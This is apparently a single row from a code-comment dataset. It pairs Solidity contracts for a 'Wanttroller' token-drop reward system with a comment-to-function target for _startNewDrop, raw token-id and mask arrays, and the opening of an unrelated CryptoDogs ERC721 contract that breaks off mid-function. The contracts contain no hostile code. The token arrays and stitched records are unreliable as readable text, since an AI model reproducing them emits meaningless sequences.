if (err1 != MathError.NO_ERROR) { return (err1, Exp({mantissa: 0})); } (MathError err2, uint product) = divUInt(doubleScaledProductWithHalfScale, expScale); // The only error `div` can return is MathError.DIVISION_BY_ZERO but we control `expScale` and it is not zero. assert(err2 == MathError.NO_ERROR); return (MathError.NO_ERROR, Exp({mantissa: product})); } /** * @dev Multiplies two exponentials given their mantissas, returning a new exponential. */ function mulExp(uint a, uint b) pure internal returns (MathError, Exp memory) { return mulExp(Exp({mantissa: a}), Exp({mantissa: b})); } /** * @dev Multiplies three exponentials, returning a new exponential. */ function mulExp3(Exp memory a, Exp memory b, Exp memory c) pure internal returns (MathError, Exp memory) { (MathError err, Exp memory ab) = mulExp(a, b); if (err != MathError.NO_ERROR) { return (err, ab); } return mulExp(ab, c); } /** * @dev Divides two exponentials, returning a new exponential. * (a/scale) / (b/scale) = (a/scale) * (scale/b) = a/b, * which we can scale as an Exp by calling getExp(a.mantissa, b.mantissa) */ function divExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { return getExp(a.mantissa, b.mantissa); } /** * @dev Truncates the given exp to a whole number value. * For example, truncate(Exp{mantissa: 15 * expScale}) = 15 */ function truncate(Exp memory exp) pure internal returns (uint) { // Note: We are not using careful math here as we're performing a division that cannot fail return exp.mantissa / expScale; } /** * @dev Checks if first Exp is less than second Exp. */ function lessThanExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa < right.mantissa; } /** * @dev Checks if left Exp <= right Exp. */ function lessThanOrEqualExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa <= right.mantissa; } /** * @dev Checks if left Exp > right Exp. */ function greaterThanExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa > right.mantissa; } /** * @dev returns true if Exp is exactly zero */ function isZeroExp(Exp memory value) pure internal returns (bool) { return value.mantissa == 0; } function safe224(uint n, string memory errorMessage) pure internal returns (uint224) { require(n < 2**224, errorMessage); return uint224(n); } function safe32(uint n, string memory errorMessage) pure internal returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function add_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: add_(a.mantissa, b.mantissa)}); } function add_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: add_(a.mantissa, b.mantissa)}); } function add_(uint a, uint b) pure internal returns (uint) { return add_(a, b, "addition overflow"); } function add_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { uint c = a + b; require(c >= a, errorMessage); return c; } function sub_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: sub_(a.mantissa, b.mantissa)}); } function sub_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: sub_(a.mantissa, b.mantissa)}); } function sub_(uint a, uint b) pure internal returns (uint) { return sub_(a, b, "subtraction underflow"); } function sub_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { require(b <= a, errorMessage); return a - b; } function mul_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: mul_(a.mantissa, b.mantissa) / expScale}); } function mul_(Exp memory a, uint b) pure internal returns (Exp memory) { return Exp({mantissa: mul_(a.mantissa, b)}); } function mul_(uint a, Exp memory b) pure internal returns (uint) { return mul_(a, b.mantissa) / expScale; } function mul_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: mul_(a.mantissa, b.mantissa) / doubleScale}); } function mul_(Double memory a, uint b) pure internal returns (Double memory) { return Double({mantissa: mul_(a.mantissa, b)}); } function mul_(uint a, Double memory b) pure internal returns (uint) { return mul_(a, b.mantissa) / doubleScale; } function mul_(uint a, uint b) pure internal returns (uint) { return mul_(a, b, "multiplication overflow"); } function mul_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { if (a == 0 || b == 0) { return 0; } uint c = a * b; require(c / a == b, errorMessage); return c; } function div_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: div_(mul_(a.mantissa, expScale), b.mantissa)}); } function div_(Exp memory a, uint b) pure internal returns (Exp memory) { return Exp({mantissa: div_(a.mantissa, b)}); } function div_(uint a, Exp memory b) pure internal returns (uint) { return div_(mul_(a, expScale), b.mantissa); } function div_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: div_(mul_(a.mantissa, doubleScale), b.mantissa)}); } function div_(Double memory a, uint b) pure internal returns (Double memory) { return Double({mantissa: div_(a.mantissa, b)}); } function div_(uint a, Double memory b) pure internal returns (uint) { return div_(mul_(a, doubleScale), b.mantissa); } function div_(uint a, uint b) pure internal returns (uint) { return div_(a, b, "divide by zero"); } function div_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { require(b > 0, errorMessage); return a / b; } function fraction(uint a, uint b) pure internal returns (Double memory) { return Double({mantissa: div_(mul_(a, doubleScale), b)}); } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the addition of two unsigned integers, reverting with custom message on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, errorMessage); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction underflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, errorMessage); return c; } /** * @dev Returns the integer division of two unsigned integers. * Reverts on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. * Reverts with custom message on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract WantFaucet is Exponential { using SafeMath for uint256; // Min time between drips uint dripInterval = 200; address admin; address teamWallet; address wantAddress; uint constant teamFactor = 0.01e18; constructor(address _admin, address _teamWallet, address _wantAddress) public { admin = _admin; teamWallet = _teamWallet; wantAddress = _wantAddress; } function setAdmin(address _admin) public { require(msg.sender == admin); admin = _admin; } function drip(uint amount) public { EIP20Interface want = EIP20Interface(wantAddress); require(msg.sender == admin, "drip(): Only admin may call this function"); // Compute team amount: 1% (MathError err, Exp memory teamAmount) = mulExp(Exp({ mantissa: amount }), Exp({ mantissa: teamFactor })); require(err == MathError.NO_ERROR); // Check balance requested for withdrawal require(amount.add(teamAmount.mantissa) < want.balanceOf(address(this)), "Insufficent balance for drip"); // Transfer team amount bool success = want.transfer(teamWallet, teamAmount.mantissa); require(success, "collectRewards(): Unable to send team tokens"); // Transfer admin amount success = want.transfer(admin, amount); require(success, "collectRewards(): Unable to send admin tokens"); } } contract UnitrollerAdminStorage { /** * @notice Administrator for this contract */ address public admin; /** * @notice Pending administrator for this contract */ address public pendingAdmin; /** * @notice Active brains of Unitroller */ address public wanttrollerImplementation; /** * @notice Pending brains of Unitroller */ address public pendingWanttrollerImplementation; } contract WanttrollerV1Storage is UnitrollerAdminStorage, Exponential { struct WantDrop { /// @notice Total accounts requesting piece of drop uint numRegistrants; /// @notice Total amount to be dropped uint totalDrop; } // @notice Total amount dropped uint public totalDropped; // @notice Min time between drops uint public waitblocks = 200; // @notice Tracks beginning of this drop uint public currentDropStartBlock; // @notice Tracks the index of the current drop uint public currentDropIndex; /// @notice Store total registered and total reward for that drop mapping(uint => WantDrop) public wantDropState; /// @notice Any WANT rewards accrued but not yet collected mapping(address => uint) public accruedRewards; /// @notice Track the last drop this account was part of mapping(address => uint) public lastDropRegistered; address wantTokenAddress; address[] public accountsRegisteredForDrop; /// @notice Stores the current amount of drop being awarded uint public currentReward; /// @notice Each time rewards are distributed next rewards reduced by applying this factor uint public discountFactor = 0.9995e18; // Store faucet address address public wantFaucetAddress; } contract Unitroller is UnitrollerAdminStorage, WanttrollerErrorReporter { /** * @notice Emitted when pendingWanttrollerImplementation is changed */ event NewPendingImplementation(address oldPendingImplementation, address newPendingImplementation); /** * @notice Emitted when pendingWanttrollerImplementation is accepted, which means wanttroller implementation is updated */ event NewImplementation(address oldImplementation, address newImplementation); /** * @notice Emitted when pendingAdmin is changed */ event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin); /** * @notice Emitted when pendingAdmin is accepted, which means admin is updated */ event NewAdmin(address oldAdmin, address newAdmin); constructor() public { // Set admin to caller admin = msg.sender; } /*** Admin Functions ***/ function _setPendingImplementation(address newPendingImplementation) public returns (uint) { if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_IMPLEMENTATION_OWNER_CHECK); } address oldPendingImplementation = pendingWanttrollerImplementation; pendingWanttrollerImplementation = newPendingImplementation; emit NewPendingImplementation(oldPendingImplementation, pendingWanttrollerImplementation); return uint(Error.NO_ERROR); } /** * @notice Accepts new implementation of wanttroller. msg.sender must be pendingImplementation * @dev Admin function for new implementation to accept it's role as implementation * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptImplementation() public returns (uint) { // Check caller is pendingImplementation and pendingImplementation ≠ address(0) if (msg.sender != pendingWanttrollerImplementation || pendingWanttrollerImplementation == address(0)) { return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK); } // Save current values for inclusion in log address oldImplementation = wanttrollerImplementation; address oldPendingImplementation = pendingWanttrollerImplementation; wanttrollerImplementation = pendingWanttrollerImplementation; pendingWanttrollerImplementation = address(0); emit NewImplementation(oldImplementation, wanttrollerImplementation); emit NewPendingImplementation(oldPendingImplementation, pendingWanttrollerImplementation); return uint(Error.NO_ERROR); } function _transferOwnership(address newAdmin) public returns (uint) { // Check caller = admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK); } emit NewAdmin(admin, newAdmin); admin = newAdmin; return uint(Error.NO_ERROR); } /** * @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @param newPendingAdmin New pending admin. * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setPendingAdmin(address newPendingAdmin) public returns (uint) { // Check caller = admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK); } // Save current value, if any, for inclusion in log address oldPendingAdmin = pendingAdmin; // Store pendingAdmin with value newPendingAdmin pendingAdmin = newPendingAdmin; // Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin) emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin); return uint(Error.NO_ERROR); } /** * @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin * @dev Admin function for pending admin to accept role and update admin * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptAdmin() public returns (uint) { // Check caller is pendingAdmin and pendingAdmin ≠ address(0) if (msg.sender != pendingAdmin || msg.sender == address(0)) { return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK); } // Save current values for inclusion in log address oldAdmin = admin; address oldPendingAdmin = pendingAdmin; // Store admin with value pendingAdmin admin = pendingAdmin; // Clear the pending value pendingAdmin = address(0); emit NewAdmin(oldAdmin, admin); emit NewPendingAdmin(oldPendingAdmin, pendingAdmin); return uint(Error.NO_ERROR); } /** * @dev Delegates execution to an implementation contract. * It returns to the external caller whatever the implementation returns * or forwards reverts. */ function () payable external { // delegate all other functions to current implementation (bool success, ) = wanttrollerImplementation.delegatecall(msg.data); assembly { let free_mem_ptr := mload(0x40) returndatacopy(free_mem_ptr, 0, returndatasize) switch success case 0 { revert(free_mem_ptr, returndatasize) } default { return(free_mem_ptr, returndatasize) } } } } contract Wanttroller is WanttrollerV1Storage, WanttrollerErrorReporter { using SafeMath for uint256; uint constant initialReward = 50e18; event WantDropIndex(address account, uint index); event CollectRewards(address owner, uint rewardsAmount); event AccrueRewards(address owner, uint rewardsAmount); constructor() public { admin = msg.sender; } //-------------------- // Main actions // ------------------- /** * @notice Redeem rewards earned in wallet and register for next drop */ function collectRewards() public { // Register for next drop, accrue last reward if applicable registerForDrop(); if (_needsDrip()){ _dripFaucet(); } // send accrued reward to sender EIP20Interface want = EIP20Interface(wantTokenAddress); bool success = want.transfer(msg.sender, accruedRewards[msg.sender]); require(success, "collectRewards(): Unable to send tokens"); // emit emit CollectRewards(msg.sender, accruedRewards[msg.sender]); // Reset accrued to zero accruedRewards[msg.sender] = 0; } /** * @notice Register to receive reward in next WantDrop, accrues any rewards from the last drop */ function registerForDrop() public { // If previous drop has finished, start a new drop if (isDropOver()) { _startNewDrop(); } // Add rewards to balance _accrueRewards(); // Update want index if (lastDropRegistered[msg.sender] != currentDropIndex) { // Store index for account lastDropRegistered[msg.sender] = currentDropIndex; // Bump total registered count for this drop uint _numRegistrants = wantDropState[currentDropIndex].numRegistrants; wantDropState[currentDropIndex].numRegistrants = _numRegistrants.add(1); // Add to array of those on drop accountsRegisteredForDrop.push(msg.sender); // Emit event emit WantDropIndex(msg.sender, currentDropIndex); } // Track sender registered for current drop lastDropRegistered[msg.sender] = currentDropIndex; } /** * @notice Register to receive reward in next WantDrop, accrues any rewards from the last drop, * sends all rewards to wallet */ function registerAndCollect() public { registerForDrop(); collectRewards(); } //--------------------- // Statuses & getters //--------------------- /** * @notice Gets most current drop index. If current drop has finished, returns next drop index */ function getCurrentDropIndex() public view returns(uint) { if (isDropOver()) return currentDropIndex.add(1); else return currentDropIndex; } /** * @notice True if registered for most current drop */ function registeredForNextDrop() public view returns(bool) { if (isDropOver()) return false; else if (lastDropRegistered[msg.sender] == currentDropIndex) return true; else return false; } /** * @notice Blocks remaining to register for stake drop */ function blocksRemainingToRegister() public view returns(uint) { if (isDropOver() || currentDropIndex == 0){ return waitblocks; } else { return currentDropStartBlock.add(waitblocks).sub(block.number); } } /** * @notice True if waitblocks have passed since drop registration started */ function isDropOver() public view returns(bool) { // If current block is beyond start + waitblocks, drop registration over if (block.number >= currentDropStartBlock.add(waitblocks)) return true; else return false; } function getTotalCurrentDropReward() public view returns(uint) { if (isDropOver()) { return _nextReward(currentReward); } else { return currentReward; } } /** * @notice returns expected drop based on how many registered */ function getExpectedReward() public view returns(uint) { if (isDropOver()) { return _nextReward(currentReward); } // total reward / num registrants (MathError err, Exp memory result) = divScalar(Exp({mantissa: wantDropState[currentDropIndex].totalDrop}), wantDropState[currentDropIndex].numRegistrants ); require(err == MathError.NO_ERROR); return result.mantissa; } /** * @notice Gets the sender's total accrued rewards */ function getRewards() public view returns(uint) { uint pendingRewards = _pendingRewards(); if (pendingRewards > 0) { return accruedRewards[msg.sender].add(pendingRewards); } else { return accruedRewards[msg.sender]; } } /** * @notice Return stakers list for */ function getAccountsRegisteredForDrop() public view returns(address[] memory) { if (isDropOver()){ address[] memory blank; return blank; } else return accountsRegisteredForDrop; } // -------------------------------- // Reward computation and helpers // -------------------------------- /** * @notice Used to compute any pending reward not yet accrued onto a users accruedRewards */ function _pendingRewards() internal view returns(uint) { // Last drop user wanted uint _lastDropRegistered = lastDropRegistered[msg.sender]; // If new account, no rewards if (_lastDropRegistered == 0) return 0; // If drop requested has completed, accrue rewards if (_lastDropRegistered < currentDropIndex) { // Accrued = accrued + reward for last drop return _computeRewardMantissa(_lastDropRegistered); } else if (isDropOver()) { // Accrued = accrued + reward for last drop return _computeRewardMantissa(_lastDropRegistered); } else { return 0; } } /** * @notice Used to add rewards from last drop user was in to their accuedRewards balances */ function _accrueRewards() internal { uint pendingRewards = _pendingRewards(); if (pendingRewards > 0) { accruedRewards[msg.sender] = accruedRewards[msg.sender].add(pendingRewards); emit AccrueRewards(msg.sender, pendingRewards); } } /** * @notice Compute how much reward each participant in the drop received */ function _computeRewardMantissa(uint index) internal view returns(uint) { WantDrop memory wantDrop = wantDropState[index]; // Total Reward / Total participants (MathError err, Exp memory reward) = divScalar(Exp({ mantissa: wantDrop.totalDrop }), wantDrop.numRegistrants); require(err == MathError.NO_ERROR, "ComputeReward() Division error"); return reward.mantissa; } //------------------------------ // Drop management //------------------------------ /** * @notice Sets up state for new drop state and drips from faucet if rewards getting low */ function _startNewDrop() internal { // Bump drop index currentDropIndex = currentDropIndex.add(1); // Update current drop start to now currentDropStartBlock = block.number; // Compute next drop reward uint nextReward = _nextReward(currentReward); // Update global for total dropped totalDropped = totalDropped.add(nextReward); // Init next drop state wantDropState[currentDropIndex] = WantDrop({ totalDrop: nextReward, numRegistrants: 0 }); // Clear registrants delete accountsRegisteredForDrop; // Update currentReward currentReward = nextReward; } /** * @notice Compute next drop reward, based on current reward * @param _currentReward the current block reward for reference */ function _nextReward(uint _currentReward) private view returns(uint) { if (currentDropIndex == 1) { return initialReward; } else { (MathError err, Exp memory newRewardExp) = mulExp(Exp({mantissa: discountFactor }), Exp({mantissa: _currentReward })); require(err == MathError.NO_ERROR); return newRewardExp.mantissa; } } //------------------------------ // Receiving from faucet //------------------------------ /** * @notice checks if balance is too low and needs to visit the WANT faucet */ function _needsDrip() internal view returns(bool) { EIP20Interface want = EIP20Interface(wantTokenAddress); uint curBalance = want.balanceOf(address(this)); if (curBalance < currentReward || curBalance < accruedRewards[msg.sender]) { return true; } return false; } /** * @notice Receive WANT from the want. Attempts to get about 10x more than it needs to reduce need to call so frequently. */ function _dripFaucet() internal { EIP20Interface want = EIP20Interface(wantTokenAddress); uint faucetBlance = want.balanceOf(wantFaucetAddress); // Let's bulk drip for the next ~ 25 drops (MathError err, Exp memory toDrip) = mulScalar(Exp({ mantissa: currentReward }), 25); require(err == MathError.NO_ERROR); WantFaucet faucet = WantFaucet(wantFaucetAddress); if (toDrip.mantissa.add(faucetBlance) < accruedRewards[msg.sender]) { toDrip.mantissa = accruedRewards[msg.sender]; } // If the facuet is ~empty, empty it if (faucetBlance < toDrip.mantissa) { faucet.drip(faucetBlance); } else { faucet.drip(toDrip.mantissa); } } ///------------------------------------ // Admin functions: require governance // ------------------------------------ function _setWantFacuet(address newFacuetAddress) public { require(adminOrInitializing()); wantFaucetAddress = newFacuetAddress; } function _setWantAddress(address newWantAddress) public { require(adminOrInitializing()); wantTokenAddress = newWantAddress; } function _setDiscountFactor(uint256 newDiscountFactor) public { require(adminOrInitializing()); discountFactor = newDiscountFactor; } function _setWaitBlocks(uint256 newWaitBlocks) public { require(adminOrInitializing(), "not an admin"); waitblocks = newWaitBlocks; } function _setCurrentReward(uint256 _currentReward) public { require(adminOrInitializing(), "not an admin"); currentReward = _currentReward; } function _become(Unitroller unitroller) public { require(msg.sender == unitroller.admin(), "only unitroller admin can change brains"); require(unitroller._acceptImplementation() == 0, "change not authorized"); } /** * @notice Checks caller is admin, or this contract is becoming the new implementation */ function adminOrInitializing() internal view returns (bool) { return msg.sender == admin || msg.sender == wanttrollerImplementation; } // Used for testing function tick() public { } }
Bump drop index Update current drop start to now Compute next drop reward Update global for total dropped Init next drop state
function _startNewDrop() internal { currentDropIndex = currentDropIndex.add(1); currentDropStartBlock = block.number; uint nextReward = _nextReward(currentReward); totalDropped = totalDropped.add(nextReward); wantDropState[currentDropIndex] = WantDrop({ totalDrop: nextReward, numRegistrants: 0 }); delete accountsRegisteredForDrop; currentReward = nextReward; }
7,343,792
[ 1, 38, 2801, 3640, 770, 2315, 783, 3640, 787, 358, 2037, 8155, 1024, 3640, 19890, 2315, 2552, 364, 2078, 14611, 4378, 1024, 3640, 919, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 389, 1937, 1908, 7544, 1435, 2713, 288, 203, 203, 203, 565, 783, 7544, 1016, 273, 783, 7544, 1016, 18, 1289, 12, 21, 1769, 203, 203, 377, 203, 203, 203, 565, 783, 7544, 1685, 1768, 273, 1203, 18, 2696, 31, 203, 203, 203, 203, 203, 565, 2254, 1024, 17631, 1060, 273, 389, 4285, 17631, 1060, 12, 2972, 17631, 1060, 1769, 203, 203, 377, 203, 203, 203, 565, 2078, 23683, 273, 2078, 23683, 18, 1289, 12, 4285, 17631, 1060, 1769, 203, 203, 377, 203, 203, 203, 565, 2545, 7544, 1119, 63, 2972, 7544, 1016, 65, 273, 678, 970, 7544, 12590, 7010, 203, 1377, 2078, 7544, 30, 225, 1024, 17631, 1060, 16, 203, 203, 1377, 818, 20175, 4388, 30, 374, 203, 203, 565, 15549, 203, 203, 27699, 203, 565, 1430, 9484, 10868, 1290, 7544, 31, 7010, 203, 203, 203, 565, 783, 17631, 1060, 273, 1024, 17631, 1060, 31, 203, 203, 225, 289, 203, 203, 21281, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.18; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens /// @author Dieter Shirley <[email protected]> (https://github.com/dete) contract ERC721 { // Required methods function totalSupply() public view returns (uint256 total); function balanceOf(address _owner) public view returns (uint256 balance); function ownerOf(uint256 _tokenId) external view returns (address owner); function approve(address _to, uint256 _tokenId) external; function transfer(address _to, uint256 _tokenId) external; function transferFrom(address _from, address _to, uint256 _tokenId) external; // Events event Transfer(address from, address to, uint256 tokenId); event Approval(address owner, address approved, uint256 tokenId); // Optional // function name() public view returns (string name); // function symbol() public view returns (string symbol); // function tokensOfOwner(address _owner) external view returns (uint256[] tokenIds); // function tokenMetadata(uint256 _tokenId, string _preferredTransport) public view returns (string infoUrl); // ERC-165 Compatibility (https://github.com/ethereum/EIPs/issues/165) function supportsInterface(bytes4 _interfaceID) external view returns (bool); } // // Auction wrapper functions // Auction wrapper functions /// @title SEKRETOOOO contract GeneScienceInterface { /// @dev simply a boolean to indicate this is the contract we expect to be function isGeneScience() public pure returns (bool); /// @dev given genes of kitten 1 & 2, return a genetic combination - may have a random factor /// @param genes1 genes of mom /// @param genes2 genes of sire /// @return the genes that are supposed to be passed down the child function mixGenes(uint256 genes1, uint256 genes2, uint256 targetBlock) public returns (uint256); } contract VariationInterface { function isVariation() public pure returns(bool); function createVariation(uint256 _gene, uint256 _totalSupply) public returns (uint8); function registerVariation(uint256 _dogId, address _owner) public; } contract LotteryInterface { function isLottery() public pure returns (bool); function checkLottery(uint256 genes) public pure returns (uint8 lotclass); function registerLottery(uint256 _dogId) public payable returns (uint8); function getCLottery() public view returns ( uint8[7] luckyGenes1, uint256 totalAmount1, uint256 openBlock1, bool isReward1, uint256 term1, uint8 currentGenes1, uint256 tSupply, uint256 sPoolAmount1, uint256[] reward1 ); } /// @title A facet of KittyCore that manages special access privileges. /// @author Axiom Zen (https://www.axiomzen.co) /// @dev See the KittyCore contract documentation to understand how the various contract facets are arranged. contract DogAccessControl { // This facet controls access control for Cryptodogs. There are four roles managed here: // // - The CEO: The CEO can reassign other roles and change the addresses of our dependent smart // contracts. It is also the only role that can unpause the smart contract. It is initially // set to the address that created the smart contract in the KittyCore constructor. // // - The CFO: The CFO can withdraw funds from KittyCore and its auction contracts. // // - The COO: The COO can release gen0 dogs to auction, and mint promo cats. // // It should be noted that these roles are distinct without overlap in their access abilities, the // abilities listed for each role above are exhaustive. In particular, while the CEO can assign any // address to any role, the CEO address itself doesn&#39;t have the ability to act in those roles. This // restriction is intentional so that we aren&#39;t tempted to use the CEO address frequently out of // convenience. The less we use an address, the less likely it is that we somehow compromise the // account. /// @dev Emited when contract is upgraded - See README.md for updgrade plan event ContractUpgrade(address newContract); // The addresses of the accounts (or contracts) that can execute actions within each roles. address public ceoAddress; address public cfoAddress; address public cooAddress; // @dev Keeps track whether the contract is paused. When that is true, most actions are blocked bool public paused = false; /// @dev Access modifier for CEO-only functionality modifier onlyCEO() { require(msg.sender == ceoAddress); _; } /// @dev Access modifier for CFO-only functionality modifier onlyCFO() { require(msg.sender == cfoAddress); _; } /// @dev Access modifier for COO-only functionality modifier onlyCOO() { require(msg.sender == cooAddress); _; } modifier onlyCLevel() { require(msg.sender == cooAddress || msg.sender == ceoAddress || msg.sender == cfoAddress); _; } /// @dev Assigns a new address to act as the CEO. Only available to the current CEO. /// @param _newCEO The address of the new CEO function setCEO(address _newCEO) external onlyCEO { require(_newCEO != address(0)); ceoAddress = _newCEO; } /// @dev Assigns a new address to act as the CFO. Only available to the current CEO. /// @param _newCFO The address of the new CFO function setCFO(address _newCFO) external onlyCEO { require(_newCFO != address(0)); 